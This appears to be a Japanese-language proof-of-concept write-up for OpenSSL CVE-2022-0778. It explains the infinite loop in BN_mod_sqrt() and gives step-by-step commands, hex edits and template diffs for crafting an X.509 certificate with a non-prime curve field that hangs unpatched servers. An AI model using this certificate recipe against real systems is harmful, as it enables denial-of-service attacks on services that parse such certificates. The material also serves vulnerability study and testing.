CVE-2022-0778

発見された脆弱性は、楕円曲線鍵の解析中にOpenSSLのBN_mod_sqrt()関数で無限ループを引き起こします。つまり、悪意を持って細工されたX.509証明書により、パッチが適用されていないサーバーでDoSが発生する可能性があります。

脆弱性の核心は、圧縮形式のポイントを持つEC鍵の解析にあります。このタイプの鍵を解析する際、OpenSSLは圧縮されたポイントを展開しようとし、曲線が定義される素数pを法とする平方根を計算しようとします。しかし、pの素数性はどこでもチェックされておらず、BN_mod_sqrt()においても要件とされているにもかかわらずチェックされていません。その結果、pが期待通り素数ではないことにより、実装のバグが無限ループを引き起こします。

中文版の説明は私のブログOpenSSL CVE-2022-0778脆弱性問題の再現と不正な証明書の構築をご覧ください。

クレジット

• Tavis Ormandy – 脆弱性の発見と公開
• Drago – BN_mod_sqrt()に対するテストの公開
• catbro666 – サーバーを停止させるX.509証明書の実際の作成
• wllm-rbnt – 便利なasn1templateツールの提供

テスト方法

前提条件として、gccと脆弱なバージョンのOpenSSLがインストールされている必要があります。

BN_mod_sqrt()のバグをテストするには: gcc -o my_bad_sqrt my_bad_sqrt.c -lcryptoでコンパイルし、./my_bad_sqrtを実行すると永久にハングします！ :D

証明書を使う場合: コマンドラインでopenssl x509 -in certs/cert.der.new -inform DER -text -nooutを実行します。これもハングします。

ループに陥る

BN_mod_sqrt()関数は、Tonelli-Shanksアルゴリズムを実装しており、整数aと素数pが与えられたとき、r^2 ≡ a (mod p)となるrを返します。

脆弱性を修正したコミットを分析すると、問題はb^(2^i) ≡ 1 (mod p)となる最小のインデックスiを見つけるループにあり、ここでbはアルゴリズム内で事前に定義されています。

ループは次のように変更されました:

i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
    goto end;
while (!BN_is_one(t)) {
    i++;
    if (i == e) {
        ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
        goto end;
    }
    if (!BN_mod_mul(t, t, t, p, ctx))
        goto end;
}

から

for (i = 1; i < e; i++) {
    if (i == 1) {
        if (!BN_mod_sqr(t, b, p, ctx))
            goto end;
    } else {
        if (!BN_mod_mul(t, t, t, p, ctx))
            goto end;
    }
    if (BN_is_one(t))
        break;
}

後者の場合、変数eで制限されたforループがあります。元のコードでは、whileループ内でi==eのチェックがあるだけです。

これらのループは外側のループの中にあり、各反復でeの新しい値を現在のiの値に設定するため、以下の攻撃戦略を試みます:

1. 最初の外側ループの実行で、最後にi=1になるようにします。そのためには、b^2 ≡ 1 (mod p)である必要があります。
2. これにより、2回目の実行ではe=1になります。もし内側ループに入ることができれば、i==eのチェックは常に失敗します。
3. 常にt ≠ 1 (mod p)となるようにできれば、ループ内に永久に留まります。

最初の2ステップは実際に「正常な」実行（素数pの場合）でも発生し得ます。しかし、pが合成数であれば、3番目のステップも満たすことができます。

数学的な背景

Tonelli-Shanksアルゴリズムは、p - 1 = 2^e * q（qは奇数）と表記します。これは法pにおける整数の乗法群の位数でもあり、eとqは実行中に何度も使用されます。しかし、pが素数でない場合、乗法群の位数はp-1ではなくなり、これが無限ループに陥る助けとなります。

特に、bはb = a^q (mod p)として初期化されるため、pが素数であればbの位数は2のべき乗になります。これがループを使って見つけられます。

しかし、p = r * sと設定すると、乗法群の位数は(r-1)*(s-1) = r*s - r - s + 1となり、r*s-1ではありません。アルゴリズムはqの値を使って位数が正確に2^eの要素yを取得します。しかし、pが素数でない場合、qの値は位数に関して特別な意味を持たないため、要素yは法p=r*sにおいて位数が2のべき乗になりません。

最初の外側ループの終わりにbはb = b*y^(e-i) (mod p)に設定されるため、2回目の反復で内側ループはb^(2^i) ≡ 1 (mod p)となるiを見つけようとしますが、yの位数が2のべき乗である保証がないため失敗します。

エクスプロイト

エクスプロイトの数値は非常に単純です: r=17, s=41とします。これによりp=r*s=697となります。つまり、計算されるeとqの値はp-1 = 2^3 * 87です。

次にa=696を選びます。これはa ≡ -1 (mod p)を意味し、初期化時にb ≡ -1 (mod p)ともなります。これによりステップ1が満たされ、次の外側ループのためにe=1が設定されます。

その後、bは位数が2のべき乗ではない要素に設定され、内側ループはb^(2^i) ≡ 1 (mod p)となるiを見つけようとしてスタックします。

危険な証明書の作成

それでは、無効な明示的曲線パラメータを含み、ベースポイントが圧縮形式でエンコードされた危険な証明書を作成しましょう。

このセクションのファイルはcertsフォルダにあります。

明示的曲線パラメータを持つ通常の証明書の作成

まず、ec秘密鍵を作成する必要があります。ターゲットの証明書に明示的曲線パラメータを含めたいので、鍵も明示的曲線パラメータを含む必要があります。

$ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed

次に、便宜上、自己署名証明書を作成し、DER形式で出力します。

$ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"

証明書の情報を確認します。期待通り明示的曲線パラメータが含まれています。

$ openssl x509 -in cert.der -text -noout -inform DER
...
                Field Type: prime-field
                Prime:
                    00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                    00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                    ff:ff:ff
                A:
                    00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                    00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                    ff:ff:fc
                B:
                    5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
                    bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
                    60:4b
                Generator (compressed):
                    03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
                    40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
                    98:c2:96
                Order:
                    00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
                    ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
                    63:25:51
...

無効な証明書の作成

次に、これらのパラメータ（Prime、A、B、Generator）の値を変更する必要があります。これらは以下の方程式を満たします。

ここでpはPrime、aはパラメータA、bはパラメータBです。p、a、bが曲線を決定します。ポイントを展開するとは、対応するX座標からY座標を計算することを意味します。

明らかに、ここでは平方根のモジュロ演算（BN_mod_sqrt()を呼び出す）を使用する必要があります。

drago-96の研究に基づき、p=697、x^3+ax+b=696とします。次に、2番目の方程式を満たす適切なa、b、xを選ぶだけです。ここではx=8、a=23、b=0とします。

それでは、証明書の編集を始めましょう。ASN.1構造を手動で編集するのは非常に面倒です。私はxxdツールを使って証明書を16進形式に変換し、vimで編集しました。編集後、xxd -rで元に戻しました。

$ cp cert.der cert.der.old
$ xxd cert.der cert.der.hex
$ cp cert.der.hex cert.der.hex.old
$ vim cert.der.hex
# cert.der.hexを編集
# ...
# 完了
$ xxd -r cert.der.hex cert.der.new

もっと便利なツールは見つかりませんでした。もしご存知の方がいらっしゃれば、コメントで教えてください。

作成手順はおおまかに以下の通りです:

1. Prime、A、B、Generatorの値を変更する
   1. Primeを697（16進で0x2b9）に変更
   2. Aを23（16進で0x17）に変更
   3. Bを0に変更
   4. GeneratorのX座標を8に変更。圧縮形式でエンコードする場合、0x020008（または0x030008）になる
2. OpenSSLはASN1_INTEGERのパディング形式をチェックするため、Primeに先行する0バイトがあってはならない。したがって、Primeの長さを変更する必要がある
3. 同様に、OpenSSLはPrimeの長さとポイント文字列の長さを比較するため、GeneratorのX座標の長さはPrimeと同じでなければならない。そのため、Generatorを030008（0308ではなく）に設定している
4. 証明書のASN.1構造は入れ子になっているため、外部オブジェクトの長さもすべて修正する必要がある
5. xxd -r実行後にファイル末尾に不要な改行文字（0x0a）が追加される可能性があるので、それを削除する

それでは、通常の証明書のASN.1構造を見てみましょう。赤線でマークされた部分が変更すべき箇所です。

$ openssl asn1parse -in cert.der -inform DER -i

変更前後の長さは以下の通りです:

ASN1テンプレートの使用

2020-03-21更新:

wllm-rbnt氏が作成したツールasn1templateを使うと、はるかに簡単です。

リポジトリをクローン:

$ git clone https://github.com/wllm-rbnt/asn1template.git

この証明書からDERテンプレートを生成:

$ ./asn1template/asn1template.pl cert.der > cert.tpl

次に、上記で述べたパラメータを変更します:

diff cert.tpl cert_new.tpl
46c46
< field32 = FORMAT:HEX,OCTETSTRING:036B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
---
> field32 = FORMAT:HEX,OCTETSTRING:030008
51c51
< field36 = INTEGER:0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
---
> field36 = INTEGER:0x2B9
53,54c53,54
< field37 = FORMAT:HEX,OCTETSTRING:FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
< field38 = FORMAT:HEX,OCTETSTRING:5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
---
> field37 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000017
> field38 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000000

ASN1_generate_nconf(3)を使ってDERエンコードされたASN1に戻す:

$ openssl asn1parse -genconf cert_new.tpl -noout -out cert_new.der

出力されたcert_new.derは手動で編集したバージョンと同等です。

これで無効な証明書をうまく作成できました。新しいASN.1構造を見てみましょう。

$ openssl asn1parse -in cert.der.new -inform DER -i

赤い部分はすべて変更されており、証明書はDERデコード可能です。

無効な証明書でのテスト

それでは、証明書の解析を試みます。期待通りであれば、プロセスは無限ループに入ります。

openssl x509 -in cert.der.new -inform DER -text -noout

図のように、opensslプロセスの%CPUが100%になり、コールスタックはBN_mod_sqrt()内にあります。

悪意のある攻撃者がSSLハンドシェイク時にこのような細工された証明書をサーバーに送信すると、サーバーは無限ループに陥りDoS攻撃が発生します。

証明書の作成（別の方法）

OpenSSLのCライブラリlibcryptoを使って証明書を作成してみます。

これまで見てきたように、非素数の基本体を持つ曲線を使用し、ポイントを圧縮形式でエンコードする必要があります。そうすることで、解析時にBN_mod_sqrt()のバグが発生します。

これは、曲線をy^2 = x^3 + 1*x + 694 (mod 697)、生成元を(1, 132)と設定することで実現できます。これにより、my_bad_sqrtとまったく同じパラメータでBN_mod_sqrt()が呼び出されます。

gcc -o my_bad_group my_bad_group.c -lcrypto && ./my_bad_groupを実行すると、ECparamsがDER形式で含まれたmy_bad_group.derファイルが生成されます。

これらのパラメータをOpenSSLで解析しようとすると、無限ループが発生します: openssl ecparam -in my_bad_group.der -inform der。

... 作業中 ...